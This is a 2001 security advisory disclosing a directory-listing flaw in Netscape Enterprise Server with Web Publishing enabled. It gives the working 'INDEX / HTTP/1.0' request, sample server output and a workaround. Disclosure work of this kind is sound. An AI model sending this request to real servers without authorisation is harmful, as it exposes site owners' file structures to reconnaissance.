  S.A.F.E.R. Security Bulletin 010124.EXP.1.11

TITLE : Netscape Enterprise Server - INDEX request problem DATE : January 24, 2001 NATURE : Information gathering AFFECTED : Netscape Enterprise Server 3.x and 4.x with Web Publishing enabled

PROBLEM:

Problems exists that allows remote user to obtain directory listings on remote site running Web Publishing.

DETAILS:

It is possible to obtain directory listing on the remote web server by issuing command:

INDEX / HTTP/1.0

Output looks like:

-- output start --

Trying 192.168.1.1... Connected to www.example.org. Escape character is '^]'. INDEX / HTTP/1.0

HTTP/1.1 200 OK Server: Netscape-Enterprise/3.6 SP2 Date: Fri, 19 Jan 2001 12:37:26 GMT Content-type: text/plain

-- output end --

INDEX request will not work on 'aliased' directories (like CGI directories and similar).

FIXES:

Netscape has been contacted on multiple occasions. First time, more than a year ago. Although other problems we have reported have been fixed, we have received no response for this issue - to date.

Workaround is to disable Web Publishing, or disable INDEX request (which will, most likely, break web publishing feature).
